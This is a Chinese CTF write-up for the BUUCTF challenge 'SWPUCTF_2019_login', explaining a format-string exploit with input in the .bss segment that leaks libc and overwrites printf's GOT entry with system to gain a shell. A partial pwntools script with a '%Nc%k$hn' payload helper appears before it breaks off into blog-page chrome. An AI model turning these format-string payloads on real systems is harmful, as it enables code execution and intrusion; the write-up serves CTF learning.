BUUCTF之“SWPUCTF_2019_login”

利用格式化字符串漏洞获取shell:从栈到bss段的技巧
本文详细解析了一种利用格式化字符串漏洞的实例,重点在于当输入位于bss段时如何修改printf的got表为system地址,从而获取shell。通过泄露的‘__libc_start_main’信息计算libc基址,然后利用fmtsend函数间接修改栈上存储的printf.got指针,最终实现系统调用。整个过程展示了在不同内存区域利用格式化字符串漏洞的策略。

与以往不同,输入的格式化字符串被输入在".bss"段中,也无法直接任意内存写。
这里 格式化字符串在bss段上的情况:间接修改printf.got表为system,,,
ebp对应的地址映射比较关键

至于题目程序分析就不具体分析了,看其余师傅的即可。
这里还不错,程序本身无限循环,让printf格式化漏洞利用比较方便。
我们考虑利用修改printf的got表为system,输入参数,得到shell。

WP:

from pwn import*
p=remote('node4.buuoj.cn',27208)
#context.log_level='debug'

elf=ELF('./log')
libc=ELF('./32libc-2.27.so')

def fmtsend(addr,plase):
    p.recvuntil('Try again!\n')
    payload='%'+str(addr)+'c'+'%'+str(plase)+'$hn'
    p.sendline(payload)


p.sendlineafter
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值